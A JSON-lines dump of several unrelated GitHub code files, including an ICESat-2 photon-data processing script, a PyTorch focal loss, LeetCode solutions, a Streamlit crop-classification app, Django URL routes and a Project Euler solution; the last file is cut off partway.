assert len(procs_list) == len(new_granules_to_create_pairs)\n\n # First, loop through the list of running procs and see what's finished up.\n for running_p, running_db in zip(running_procs, running_databases):\n if not running_p.is_alive():\n # If the process is finished. Join it, roll it up and toss it.\n running_p.join()\n running_p.close()\n # Get rid of the proc, the db\n running_procs.remove(running_p)\n running_databases.remove(running_db)\n finished_procs += 1\n # Print the status update, and update the progress bar.\n if verbose:\n print(\"\\r\" + \" \"*120, end=\"\")\n print(\"\\r{0}/{1} {2} written.\".format(finished_procs, N, os.path.split(running_db)[1]))\n utils.progress_bar.ProgressBar(finished_procs, N, suffix=\"{0}/{1}\".format(finished_procs, N))\n\n # Now loop through the unfinished procs and start them.\n while (len(running_procs) < numprocs) and (len(procs_list) > 0):\n proc = procs_list.pop(0)\n (_, dbname) = new_granules_to_create_pairs.pop(0)\n proc.start()\n running_procs.append(proc)\n running_databases.append(dbname)\n\n time.sleep(0.05)\n\n except KeyboardInterrupt:\n # Kill the active processes and delete any databases that were currently being written to.\n for running_p, running_db in zip(running_procs, running_databases):\n running_p.kill()\n running_p.close()\n if os.path.exists(running_db):\n if verbose:\n print(\"Deleting incomplete file\", os.path.split(running_db)[1])\n os.remove(running_db)\n finished = True\n\n else:\n try:\n for i, (granule, h5name) in enumerate(new_granules_to_create_pairs):\n if verbose:\n print(\"{0}/{1}\".format(i+1, len(new_granules_to_create_pairs)), end=\" \")\n classify_icesat2_photons.save_granule_ground_photons(granule,\n output_h5 = h5name,\n overwrite = overwrite,\n verbose = verbose)\n except KeyboardInterrupt:\n os.remove(h5name)\n finished = True\n\n return\n\ndef rebuild_progress_csv_from_gpkg(progress_csv_name):\n \"\"\"Ooops, I fucked up KeyboardInterrupt'ing the process while it was writing download_progress.csv.\n I kept all the pertinent info in the gpkg anyway, so just rebuilt it from that.\"\"\"\n gpkg_name = os.path.splitext(progress_csv_name)[0] + \".gpkg\"\n gdf = geopandas.read_file(gpkg_name)\n print(gpkg_name, \"read with\", len(gdf), \"records.\")\n df = pandas.DataFrame(gdf.drop(\"geometry\", axis=1))\n df.to_csv(progress_csv_name)\n print(progress_csv_name, \"re-built with\", len(df), \"records.\")\n return df\n\ndef generate_all_photon_tiles(map_interval = 25,\n overwrite = False,\n numprocs = 10,\n verbose = True):\n \"\"\"Run through creating all the icesat2_photon_database tiles.\n\n I could try to parallelize this, but each process would be writing to the same\n geodataframe database, and I don't feel like having to install conflict-handling code around that.\n So I won't unless it's necessary.\n \"\"\"\n # Get all the icesat-2 photon database tiles. Use icesat2_photon_database object for this.\n # Assign a process to each tile generation, and then loop through running them.\n is2db = icesat2_photon_database.ICESat2_Database()\n # In case there are any unread textfiles written since the last go-round,\n # ingest them into the database.\n # NOTE: This takes a long time. Maybe don't do this regularly.\n # is2db.fill_in_missing_tile_entries(delete_csvs = True,\n # save_to_disk = True,\n # verbose=verbose)\n # gdf = is2db.get_gdf(verbose=verbose)\n\n if numprocs <= 0:\n numprocs = 1\n\n # Divide the globe up into 2x2* tiled boxes. The tiles help us make the best use\n # of disk-caching to maximize re-use of granule-photon databases between various\n # nearby tiles, rather than just mowing down a row by latitude or longitude.\n x_iter = numpy.arange(-180, 180, 2)\n y_iter = numpy.array(list(zip(numpy.arange(0,90,2), numpy.arange(-2, -92, -2)))).flatten()\n xvals, yvals = numpy.meshgrid(x_iter, y_iter)\n\n N = len(is2db.get_gdf())\n if overwrite:\n N_so_far = 0\n else:\n N_so_far = len([fname for fname in os.listdir(is2db.tiles_directory) if re.search('\\Aphoton_tile_[\\w\\.]+\\.((h5)|(feather))\\Z', fname) != None])\n assert (N >= N_so_far)\n N_to_do = N - N_so_far\n if verbose:\n print(\"Generating {0:,} total tiles, {1:,} already done, {2:,} left to go.\".format(N, N_so_far, N_to_do))\n\n tile_built_counter = 0\n tiles_built_since_last_map_output_counter = 0\n\n # This will hold the set of running processes.\n running_procs_list = []\n running_fnames_list = []\n mapping_process = None # A variable specifically to store the sub-process that writes out the progress map\n writing_gpkg_process = None # A variable specifically to store the sub-process that writes out the ICESat-2 database geopackage.\n\n delete_when_finished = False\n iters_since_last_delete_csvs = 0\n MAX_ITERS_SINCE_LAST_DELETE_CSVS = 4\n\n try:\n for (xmin, ymin) in zip(xvals.flatten(), yvals.flatten()):\n\n # For now, speed things up. We already know everything from -85 S to 90 N is finished, just skip ahead.\n # TODO: Delete later when finished, or when rebuilding the database.\n if not (ymin == 58 or ymin == -88):\n # if ymin >= -85:\n continue\n\n # A flag to see if any tiles have been actually generated in this box.\n xmax = xmin+2\n ymax = ymin+2\n # print(xmin, ymin, xmax, ymax)\n tiles_within_bbox = is2db.query_geopackage((xmin, ymin, xmax, ymax), return_whole_records = True)\n if len(tiles_within_bbox) == 0:\n continue\n\n fnames = tiles_within_bbox['filename'].tolist()\n tile_xmins = tiles_within_bbox['xmin'].tolist()\n tile_xmaxs = tiles_within_bbox['xmax'].tolist()\n tile_ymins = tiles_within_bbox['ymin'].tolist()\n tile_ymaxs = tiles_within_bbox['ymax'].tolist()\n is_populated_list = tiles_within_bbox['is_populated'].tolist()\n\n for tilename, tile_xmin, tile_xmax, tile_ymin, tile_ymax, is_populated \\\n in zip(fnames, tile_xmins, tile_xmaxs, tile_ymins, tile_ymaxs, is_populated_list):\n # If the tile already exists and we're not overwriting, and it's already populated in the database, just skip it and move along.\n summary_csv_fname = os.path.splitext(tilename)[0] + \"_summary.csv\"\n if not overwrite and \\\n (os.path.exists(os.path.splitext(tilename)[0]+\".h5\") or os.path.exists(os.path.splitext(tilename)[0]+\".feather\")) \\\n and (is_populated or os.path.exists(summary_csv_fname)):\n continue\n\n # We'll just keep looping until this process gets added onto the queue.\n process_started = False\n\n while not process_started:\n # Loop through, first delete procs in the running_procs list that are finished.\n for rproc, fname in zip(running_procs_list, running_fnames_list):\n # If the process is finished up, close it out and remove it from the list.\n if not rproc.is_alive():\n rproc.join()\n rproc.close()\n running_procs_list.remove(rproc)\n running_fnames_list.remove(fname)\n # print(\"\\r==== {0:,}/{1:,}\".format(N_so_far + tile_built_counter + 1, N), os.path.split(tilename)[1], \"====\")\n # Also give us a progress message, please.\n if verbose:\n print(\"{0:,} / {1:,}\".format(N_so_far + tile_built_counter + 1, N), os.path.split(fname)[1], \"written.\")\n\n tile_built_counter += 1\n tiles_built_since_last_map_output_counter += 1\n\n if isinstance(mapping_process, multiprocessing.Process) and not mapping_process.is_alive():\n mapping_process.join()\n mapping_process.close()\n if verbose:\n print(os.path.split(is2db.get_tiling_progress_mapname())[1], \"written.\")\n mapping_process = None\n\n if isinstance(writing_gpkg_process, multiprocessing.Process) and not writing_gpkg_process.is_alive():\n writing_gpkg_process.join()\n writing_gpkg_process.close()\n if verbose:\n print(os.path.split(is2db.gpkg_fname)[1].strip(), \"written.\")\n writing_gpkg_process = None\n\n # If we have space available in the running process queue, kick this off.\n if len(running_procs_list) < numprocs:\n # Create the new process with the args here.\n # Save it as a feather file rather than a .h5 file.\n tilename = tilename.replace(\".h5\", \".feather\")\n newproc = multiprocessing.Process(target=is2db.create_photon_tile,\n args=((tile_xmin, tile_ymin, tile_xmax, tile_ymax),\n tilename),\n kwargs={\"overwrite\": overwrite,\n \"write_stats\": True,\n \"verbose\": False}\n )\n\n\n # Kick the tires and light the fires.\n newproc.start()\n\n # Add it to the process queue and mark our flag.\n running_fnames_list.append(tilename)\n running_procs_list.append(newproc)\n process_started = True\n\n # Sleep for 1/100 th of a second, enough to keep this loop from eating CPU egregiously.\n time.sleep(0.01)\n\n if (tiles_built_since_last_map_output_counter >= map_interval) and mapping_process is None:\n\n if iters_since_last_delete_csvs >= MAX_ITERS_SINCE_LAST_DELETE_CSVS:\n delete_when_finished = True\n\n # First, just update it in memory, to keep the database updated.\n # But don't do the slow part (saving to disk)\n is2db.update_gpkg_with_csvfiles(save_to_disk=False,\n delete_when_finished=delete_when_finished,\n verbose=verbose)\n\n # is2db.fill_in_missing_tile_entries(save_to_disk = False,\n # delete_csvs = False,\n # verbose=False)\n if verbose:\n print(\"Kicking off another geodataframe and map output...\" + \\\n \"\\n\\t(Also deleting _summary.csv's, so hold off on canceling 'till after GPKG is written.)\" if delete_when_finished else \"\")\n\n if delete_when_finished:\n iters_since_last_delete_csvs = 0\n else:\n iters_since_last_delete_csvs += 1\n delete_when_finished = False\n\n writing_gpkg_process = multiprocessing.Process(target = is2db.save_geopackage,\n kwargs = {\"use_tempfile\" : True,\n \"verbose\" : False,\n \"also_delete_redundant_csvs\" : False}\n )\n writing_gpkg_process.start()\n\n # If it's time to create a new map, kick off the sub-process to do that.\n # This is slow but we can let a separate process do it.\n mapping_process = multiprocessing.Process(target=create_tiling_progress_map,\n kwargs = {\"icesat2_db\": is2db,\n \"update_with_csvs\" : False,\n \"use_tempfile\" : False,\n \"verbose\": False}\n )\n mapping_process.start()\n # create_tiling_progress_map(icesat2_db = is2db, verbose=verbose)\n tiles_built_since_last_map_output_counter = 0\n # total_tiles_done = numpy.count_nonzero(is2db.get_gdf()[\"is_populated\"])\n\n # if total_tiles_done > (N_so_far + tile_built_counter):\n # if verbose:\n # print(total_tiles_done - (N_so_far + tile_built_counter), \"extra tiles found (likely generated elsewhere). Updating total.\")\n # tile_built_counter = total_tiles_done - N_so_far\n\n except Exception as e:\n # Generally speaking, if we error out, it'll likely be during the (long) generation\n # of tile tile .h5 file. If we'd already created that file but hadn't yet created the _summary.csv,\n # then it is probably only a partially-written tile. Just get rid of it.\n for fname in running_fnames_list:\n if overwrite or (os.path.exists(fname) and not os.path.exists(os.path.splitext(fname)[0] + \"_summary.csv\")):\n print(\"Deleting partial file\", os.path.split(fname)[1])\n os.remove(fname)\n\n raise e\n\ndef convert_h5_to_feather(h5name, remove_h5=True, verbose=True):\n \"\"\"Convert an .h5 database to a feather database.\n\n Feather has much faster read performance.\"\"\"\n df = pandas.read_hdf(h5name)\n feather_name = os.path.splitext(h5name)[0] + \".feather\"\n df.to_feather(feather_name)\n if verbose:\n print(\"Created\", feather_name)\n if remove_h5:\n os.remove(h5name)\n if verbose:\n print(\"Removed\", h5name)\n return feather_name\n\n\ndef inspect_photon_tiles_dir():\n \"\"\"Count up the number of each type of file in the photon_tiles directory.\"\"\"\n dirname = my_config._abspath(my_config.icesat2_photon_tiles_directory)\n fnames = sorted(os.listdir(dirname))\n\n h5_regex = r'photon_tile_[NS](\\d{2})\\.(\\d{2})_[EW](\\d{3})\\.(\\d{2})_[NS](\\d{2})\\.(\\d{2})_[EW](\\d{3})\\.(\\d{2})\\.h5\\Z'\n feather_regex = h5_regex.replace(\".h5\",\".feather\")\n\n num_h5 = 0\n num_feather = 0\n num_non_matching = 0\n for fn in fnames:\n if re.search(h5_regex, fn) is not None:\n num_h5 += 1\n elif re.search(feather_regex, fn) is not None:\n num_feather += 1\n else:\n num_non_matching += 1\n print(fn)\n\n print()\n print(num_h5, \".h5 files.\")\n print(num_feather, \".feather files.\")\n print(num_non_matching, \"non-matching files.\")\n print(num_h5+num_feather, \".h5 and .feather files combined.\")\n\ndef clean_up_icesat2_photon_tile_database_and_directory():\n \"\"\"Go through the entire photon_tiles directory and the database. Check:\n 1) For duplicate files (.h5 and .feather). If both databases are valid, remove the .h5\n 2) Invalid or corrupt database files. Remove the file and rebuild it.\n 3) Empty database files, with zero records. Remove the file and remove the entry from the database.\n 4) .h5 files. Go ahead and convert to feather. Update the database accordingly.\"\"\"\n\n # tile_dirname = my_config._abspath(my_config.icesat2_photon_tiles_directory)\n # fnames = sorted(os.listdir(tile_dirname))\n # Get rid of the one EMPTY_TILE.h5 from the list. We don't need to consider this one.\n # fnames = [fn for fn in fnames if fn != \"ATL03_EMPTY_TILE.h5\"]\n\n is2db = icesat2_photon_database.ICESat2_Database()\n gdf = is2db.get_gdf()\n N = len(gdf)\n prev_str = \"\"\n for idx, row in gdf.iterrows():\n\n # (1) First, check to see if we have duplicate entries.\n num_files_matching = 0\n if os.path.exists(row.filename):\n num_files_matching += 1\n if os.path.exists(row.filename.replace(\".h5\", \".feather\")):\n num_files_matching += 1\n\n if num_files_matching == 0:\n print(\"FILE NOT FOUND\", row.filename)\n elif num_files_matching == 2:\n os.remove(row.filename)\n print(\" \" * len(prev_str) + \"\\r\")\n print(\"Removed\", row.filename)\n # df1 = pandas.read_hdf(row.filename)\n # df2 = pandas.read_feather(row.filename.replace(\".h5\", \".feather\"))\n # If the two dataframe are equal to each other, just remove the .h5\n # if df1.equals(df2):\n # os.remove(row.filename)\n # print(\" \" * len(prev_str) + \"\\r\")\n # print(\"Removed\", row.filename)\n # else:\n #\n # print(\" \" * len(prev_str) + \"\\r\")\n # print(\"DATAFRAMES UNEQUAL:\")\n # print(\" \" + row.filename)\n # print(df1)\n # print(\" \" + row.filename.replace(\".h5\",\".feather\"))\n # print(df2)\n\n # (2) Look for corrupt or invalid database files. Delete them if so.\n ph_df = is2db.read_photon_tile(row.filename)\n if len(ph_df) != row.numphotons:\n print(\" \" * len(prev_str) + \"\\r\")\n print(\"MISMATCH\", row.filename)\n print(\" database:\", row.numphotons)\n print(\" file:\", len(ph_df))\n\n prev_str = utils.progress_bar.ProgressBar(idx+1, N, suffix=\"{0}/{1}\".format(idx+1, N))\n\ndef convert_h5_to_feather_parallel(numprocs=10):\n \"\"\"Convert remaining h5 files to feather files.\"\"\"\n is2db = icesat2_photon_database.ICESat2_Database()\n gdf = is2db.get_gdf()\n\n print(\"Compiling list of .h5's to convert.\")\n gdf[\"h5_exists\"] = gdf.apply(lambda row: os.path.exists(row.filename), axis=1)\n\n print(\" \", \"{0:,}\".format(numpy.count_nonzero(gdf.h5_exists)), \"h5 files exist.\")\n print(\" \", \"{0:,}\".format(numpy.count_nonzero(~gdf.h5_exists)), \"feather files exist.\")\n\n h5_files = gdf.filename[gdf.h5_exists].to_list()\n feather_files = [os.path.splitext(h5)[0] + \".feather\" for h5 in h5_files]\n args = [[h5] for h5 in h5_files]\n\n utils.parallel_funcs.process_parallel(convert_SINGLE_h5_to_feather,\n args,\n kwargs_list={'overwrite': True,\n 'remove_h5_when_done': True},\n outfiles = feather_files,\n overwrite_outfiles=True,\n max_nprocs= numprocs,\n abbreviate_outfile_names_in_stdout=True,\n delete_partially_done_files=True)\n\ndef convert_SINGLE_h5_to_feather(h5name, overwrite=False, remove_h5_when_done=True):\n base, ext = os.path.splitext(h5name)\n assert ext.lower() == \".h5\"\n feather_name = base + \".feather\"\n if os.path.exists(feather_name):\n if overwrite:\n os.remove(feather_name)\n else:\n return\n\n df = pandas.read_hdf(h5name)\n df.reset_index(drop=True, inplace=True)\n df.to_feather(feather_name)\n\n assert os.path.exists(feather_name)\n\n if remove_h5_when_done:\n os.remove(h5name)\n return\n\n\ndef define_and_parse_args():\n parser = argparse.ArgumentParser(description=\"Utility for downloading and pre-processing the whole fucking world of ICESat-2 photon data. Right now set to do the whole year 2021 (Jan 1-Dec 30).\")\n\n parser.add_argument(\"-numprocs\", \"-np\", default=0, type=int, help=\"The number of parallel processes to run. Default run sequentially on 1 process.\")\n parser.add_argument(\"-map_interval\", \"-mi\", default=10, type=int, help=\"When donwloading, the interval to update the map (ever N-th tile). Default 10.\")\n parser.add_argument(\"-wait\", \"-w\", default=120, type=int, help=\"In the 'generate_photon_databases' module, we go to sleep if there's nothing to do. Specify here how many seconds to sleep between retrying looking for granules to process.\")\n parser.add_argument(\"--generate_photon_databases\", \"-g\", action=\"store_true\", default=False, help=\"For all pairs of granules that have both ATL03 and ALT08 downloaded, generate a photon database for that granule.\")\n parser.add_argument(\"--generate_photon_tiling_progress_map\", \"-tm\", action=\"store_true\", default=False, help=\"Make an updated map of the photon tiling progress.\")\n # parser.add_argument(\"--move_icesat2_files\", \"-m\", action=\"store_true\", default=False, help=\"Move all the icesat-2 granuels and photon_databases from the old .cudem_cache directory into the data/icesat2/granules directory.\")\n parser.add_argument(\"--delete_redundant_granules\", \"-d\", action=\"store_true\", default=False, help=\"Delete ICESat-2 granules where a _photon.h5 database already exists. Free up some disk space.\")\n parser.add_argument(\"--generate_all_photon_tiles\", \"-gat\", action=\"store_true\", default=False, help=\"Generate all the 0.25-degree photon tiles using the ICESat2 photon database code.\")\n parser.add_argument(\"--inspect\", action=\"store_true\", default=False, help=\"Inspect the contents of the photon_tiles directory.\")\n parser.add_argument(\"--clean\", action=\"store_true\", default=False, help=\"Clean up and validate the photon_tiles database and directory.\")\n parser.add_argument(\"--convert_h5_to_feather\", \"-ch5\", action=\"store_true\", default=\"False\", help=\"Convert all existing .h5 database files to .feather files for faster reads.\")\n parser.add_argument(\"--overwrite\", '-o', action=\"store_true\", default=False, help=\"Overwrite existing files.\")\n parser.add_argument(\"--quiet\", '-q', action=\"store_true\", default=False, help=\"Run in quiet mode.\")\n\n return parser.parse_args()\n\nif __name__ == \"__main__\":\n # Temporarily uncomment to create the icesat-2 download progress csv.\n # create_icesat2_progress_csv(from_gpkg=True)\n # delete_granules_where_photon_databases_exist()\n # print(\"Running with subset_existing_photon_databases_to_ground_and_canopy_only() enabled.\")\n\n # subset_existing_photon_databases_to_ground_and_canopy_only()\n # import sys\n # sys.exit(0)\n\n args = define_and_parse_args()\n\n # if args.move_icesat2_files:\n # move_all_granules_to_icesat2_granules_dir()\n\n # if args.delete_redundant_granules:\n # delete_granules_where_photon_databases_exist()\n\n if args.inspect:\n inspect_photon_tiles_dir()\n\n elif args.clean:\n clean_up_icesat2_photon_tile_database_and_directory()\n\n elif args.convert_h5_to_feather:\n convert_h5_to_feather_parallel(numprocs=args.numprocs)\n\n elif args.generate_all_photon_tiles:\n generate_all_photon_tiles(map_interval = args.map_interval,\n overwrite = args.overwrite,\n numprocs = args.numprocs,\n verbose = not args.quiet)\n\n elif args.generate_photon_tiling_progress_map:\n create_tiling_progress_map(verbose = not args.quiet)\n\n elif args.generate_photon_databases:\n generate_photon_databases_from_existing_granules(parallelize = not (args.numprocs == 0),\n numprocs = args.numprocs,\n wait_time_when_zero_work_s = args.wait,\n overwrite = args.overwrite,\n verbose = not args.quiet)\n\n if args.delete_redundant_granules:\n delete_granules_where_photon_databases_exist()\n\n elif args.delete_redundant_granules:\n delete_granules_where_photon_databases_exist()\n\n else:\n download_all(overwrite = args.overwrite,\n update_map_every_N = args.map_interval,\n verbose = not args.quiet)\n","repo_name":"ciresdem/ETOPO","sub_path":"src/icesat2/download_all_icesat2_granules.py","file_name":"download_all_icesat2_granules.py","file_ext":"py","file_size_in_byte":53278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"3996585927","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch.autograd import Variable\r\n\r\nclass FocalLoss(nn.Module):\r\n\r\n def __init__(self, gamma=2, alpha=2, eps=1e-7):\r\n super(FocalLoss, self).__init__()\r\n self.gamma = gamma\r\n self.alpha = alpha\r\n self.eps = eps\r\n\r\n def forward(self, input, target):\r\n logit = nn.Sigmoid()(input)\r\n logit = logit.clamp(self.eps, 1. - self.eps)\r\n \r\n loss = - target * torch.log(logit) * (1 - logit)**self.gamma * self.alpha- (1 - target) * torch.log(1 - logit) * logit ** self.gamma\r\n\r\n return loss.sum()\r\n\r\nif __name__ == '__main__':\r\n focal = FocalLoss(gamma = 2)\r\n BCE = torch.nn.BCEWithLogitsLoss()\r\n A = torch.tensor([4]).float()\r\n B = torch.tensor([0]).float()\r\n print(focal(A,B))\r\n print(BCE(A,B))\r\n","repo_name":"AlejandroSantorum/simmc2-Multimodal_Coreference_Resolution","sub_path":"models/uniter_based/utils/focalloss.py","file_name":"focalloss.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"1878318712","text":"def two_sum(numbers,target):\r\n numbers = list(str(numbers))\r\n \r\n for x in numbers:\r\n remain = target - int(x)\r\n \r\n if str(remain) in numbers:\r\n position_1 = [numbers.index(x)]\r\n position_2 = [numbers.index(str(remain))]\r\n if position_1 != position_2:\r\n status = True\r\n break\r\n else:\r\n status = \"I couldn't find a sum\"\r\n \r\n \r\n if status == True:\r\n return position_1 + position_2\r\n else:\r\n return status\r\n\r\nprint(two_sum(1253,6))","repo_name":"FPSamu/FPSamu","sub_path":"Two_Sum.py","file_name":"Two_Sum.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3319141801","text":"import subprocess\nimport json\n\n\nasync def get_cpu_time(server_name):\n\t\n\tbashCommand = \"openstack server show {} --diagnostics -f json\".format(server_name)\n\tprint(bashCommand)\n\tprocess = subprocess.Popen(bashCommand.split(), stdout=subprocess.PIPE)\n\toutput, error = process.communicate()\n\tprint(\"ërror \", error)\n\tprint(\"output \", output)\n\tif output is not None:\n\t\toutput_json_string = output.decode('utf8').replace(\"\\n\", \"\")\n\t\n\t\toutput_dictionary= json.loads(output_json_string)\n\t\tcpu_time = 0;\n\t\n\t\tfor key, value in output_dictionary.items():\n\t\t\tif key.startswith(\"cpu\"):\n\t\t\t\tprint(key, \":\" , value) \n\t\t\t\tcpu_time += value\n\t\treturn round(cpu_time)\n\n\n","repo_name":"wtsi-hgi/openstack_report","sub_path":"tests/bjob.py","file_name":"bjob.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"69957523434","text":"class Solution:\n def climbStairs(self, n: int) -> int:\n pre = 1 # n = 1\n curr = 2 # n = 2\n for i in range(3, n+1):\n sum = pre + curr\n pre = curr\n curr = sum \n return curr\n \nsolve = Solution()\nprint(solve.climbStairs(6))\n\n# bài này kiểu cho số n , tìm số cách để tống lại bằng n \n# các số chỉ có thể là 1, 2\n\n# 2 => 1 + 1 , 2\n# 3 => 1 + 1 + 1, 1 + 2, 2 + 1\n# 1 1 2 3 5 8 13 ","repo_name":"d47sec/LearnCode","sub_path":"LeetCode/Algo/DP/climb_stairs.py","file_name":"climb_stairs.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31121636706","text":"class Solution:\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n obj = {}\n for num in nums:\n if num in obj:\n obj[num] += 1\n else:\n obj[num] = 1\n\n lst = sorted(obj.keys(), key = lambda x : -obj[x])\n return lst[0: k ]\n","repo_name":"iiaishwarya/100DaysOfCode","sub_path":"Day 1/topKFrequent.py","file_name":"topKFrequent.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43672676366","text":"import streamlit as st\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport joblib\r\n\r\nmodel = joblib.load(filename=\"model_random.joblib\")\r\nst.sidebar.title(\"Bienvenu dans le futur\")\r\nfoto=Image.open('port.jpg')\r\nst.sidebar.image(foto, caption=f\"Transformez votre exploitation agricole avec la puissance de la technologie\")\r\nst.write('') \r\nst.sidebar.write(f\"L'application de classification des cultures sur le machine learning utilise des algorithmes pour identifier les différents types de cultures en fonction des caractéristiques chimiques, physiques et environnementales telles que l'azote, le phosphore, le potassium, le pH, l'humidité et la précipitation. Elle permet aux professionnels de mieux comprendre la qualité du sol et de planifier les cultures, la construction et les projets environnementaux de manière efficace et durable.\")\r\nimage=Image.open('image.jpg')\r\nst.write('')\r\nst.sidebar.image(image,caption =f\"Augmentez votre rendement avec l'agriculture intelligente\")\r\nst.title('Cultivez avec précision grâce à la technologie de pointe')\r\nst.subheader(\"Prédiser d'abord le type de culture adequate dans votre sol\")\r\nst.markdown(\"Veuillez récolter d'abord les données nécessaires\")\r\nazote = st.number_input(label=\"Entrer la valeur de l'azote\", value=0)\r\nphosphore = st.number_input(label=\"Entrer la valeur du Phosphore\", value=0)\r\npotassium = st.number_input(label=\"Entrer la valeur du potassium\", value=0)\r\ntemperature = st.number_input(label=\"Entrer la temperature du sol\", value=0.0000)\r\nhumidite = st.number_input(label=\"Entrer la valeur de l'humidité du sol\", value=0.0)\r\nph = st.number_input(label=\"Entrer le PH du sol\", value=0)\r\nprecipitation = st.number_input(label=\"Entrer la précipitation du sol\", value=0)\r\n\r\ndef inference(azote, phosphore, potassium, temperature, humidite, ph, precipitation):\r\n new_data = np.array([\r\n azote, phosphore, potassium, temperature, humidite, ph, precipitation\r\n ])\r\n predict = model.predict(new_data.reshape((1,-1)))\r\n return predict \r\n\r\nif st.button(\"Prediction\"):\r\n prediction = inference(azote, phosphore, potassium, temperature, humidite, ph, precipitation)\r\n if prediction==2:\r\n st.success(f\"Le sol est adapté a la culture de pois chiches \")\r\n if prediction==1:\r\n st.success(f\"Le sol est adapté à la culture du maïs\")\r\n if prediction==0:\r\n st.success(f\"Le sol est adapté à la culture du Riz\")\r\n if prediction==3:\r\n st.success(f\"Le sol est adapté à la culture haricots rouges\")\r\n if prediction==4:\r\n st.success(f\"Le sol est adapté à la culture du pois d'Angole\")\r\n if prediction==5:\r\n st.success(f\"Le sol est adapté à la culture du haricot mungo\")\r\n if prediction ==6:\r\n st.success(f\"Le sol est adapté à la culture du haricot mungo\")\r\n if prediction==7:\r\n st.success(f\"Le sol est adapté à la culture du blackgram\")\r\n if prediction==8:\r\n st.success(f\"Le sol est adapté à la culture du lentille\")\r\n if prediction==9:\r\n st.success(f\"Le sol est adapté à la culture du grenade\")\r\n if prediction==10:\r\n st.success(f\"Le sol est adapté à la culture du banane\")\r\n if prediction==11:\r\n st.success(f\"Le sol est adapté à la culture du mangue\")\r\n if prediction==12:\r\n st.success(f\"Le sol est adapté à la culture du raisin\")\r\n if prediction==13:\r\n st.success(f\"Le sol est adapté à la culture du pastèque\")\r\n if prediction==14:\r\n st.success(f\"Le sol est adapté à la culture du melon musqué\") \r\n if prediction==15:\r\n st.success(f\"Le sol est adapté à la culture du pomme\")\r\n if prediction==16:\r\n st.success(f\"Le sol est adapté à la culture du orange\")\r\n if prediction==17:\r\n st.success(f\"Le sol est adapté à la culture du papaye\")\r\n if prediction==18:\r\n st.success(f\"Le sol est adapté à la culture du coton\")\r\n if prediction==19:\r\n st.success(f\"Le sol est adapté à la culture du jute\")\r\n if prediction==20:\r\n st.success(f\"Le sol est adapté à la culture du café\")\r\n\r\nst.markdown(\"<p style='text-align: center; color: gray;'>© Bakary SALL - 2023</p>\", unsafe_allow_html=True)","repo_name":"bakarysall/agi","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4214,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71801659433","text":"from django.urls import path, re_path, include\nfrom django.contrib import admin\nfrom userinfo import views\n\nurlpatterns = [\n #登入页面\n path(r'login/', views.signin, name='login'),\n #登入判断\n path(r'loginin/', views.login_, name='login_in'),\n #注册页面\n path(r'register/', views.register, name='register'),\n #注册判断\n path(r'registerin/', views.register_, name='register_in'),\n #注销\n path(r'logout/', views.logout_, name='logout'),\n #买车信息添加\n path(r'buyinfo/', views.buyinfo, name='buyinfo'),\n #进入卖车页���\n path(r'infomes/', views.infomes, name='infomes'),\n #卖车信息添加页面\n path(r'infomesin/', views.infomes_, name='infomes_in'),\n #服务保障页面\n path(r'service/', views.service, name='service'),\n #我要卖车\n path(r'message/', views.message, name='message'),\n #我要卖车信息添加\n path(r'infomes_message/', views.infomes_message, name='infomes_message'),\n]","repo_name":"NGBQ12138/Django_second-hand-car-master2222","sub_path":"userinfo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"28013564978","text":"\"\"\"\nFind the sum of FITs for the BOPs.\n\"\"\"\nimport numpy as np\n\ndef OP(p, Y): #p number of points\n m = np.matrix([[x] for x in Y[:p]])\n\n t = []\n\n for a in range(1,p+1):\n tt = []\n for b in range(0,p):\n tt.append(a**b)\n t.append(sorted(tt)[::-1])\n\n t = np.matrix(t).getI()\n r = np.matmul(t, m)\n c = np.squeeze(np.asarray(r))\n\n result = 0\n\n if p != 1:\n e = len(c)-1\n for h in c:\n result += h*(p+1)**e\n e -= 1\n elif p == 1:\n result = 1\n\n return result\n\npoly = lambda n: 1 - n + n**2 - n**3 + n**4 - n**5 + n**6 - n**7 + n**8 - n**9 + n**10\n\n# We need 11 points\nX = [range(1, 12)]\nY = [poly(x) for x in range(1, 12)]\n\nfinal = 0\n\nfor n in range(1,11):\n final += OP(n, Y)\n\nprint(final) # without the .6\n\n# Algorithm used: http://mth.bz/fit/polyfit/findcurv.htm\n","repo_name":"ManusRH/ProjectEuler-Python","sub_path":"101.py","file_name":"101.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21982157446","text":"import Pandas as pd\r\nimport xlrd\r\nimport os\r\nfrom openpyxl import load_workbook\r\nfrom win32com import client\r\nexcel_data = pd.read_excel()\r\nworkbook = load_workbook ('D:\\Рабочий стол\\Новая папка\\Заявка (Ответы).xlsx')\r\nbook = xlrd.open_workbook('черновик квитанции')\r\ntablica = xlrd.open_workbook('Заявка (Ответы)')\r\npolychatel = book.find('Введите имя получателя')\r\notpravitel = book.find('Введите имя')\r\nchislo = book.find('Введите дату')\r\nnumber = book.find('Введите номер')\r\nsumm = book.find('Введите сумму ₽')\r\ncells = sheet['K2: K5000']\r\ncell = sheet ['K']\r\nfor i in cells:\r\n if cell[i] == ('Оплата в банке'):\r\n book.replace('Введите имя получателя', (tablica.sheet['B', i], tablica.sheet['C', i], tablica.sheet['D', i]))\r\n book.save('квитанция 1')\r\n# if 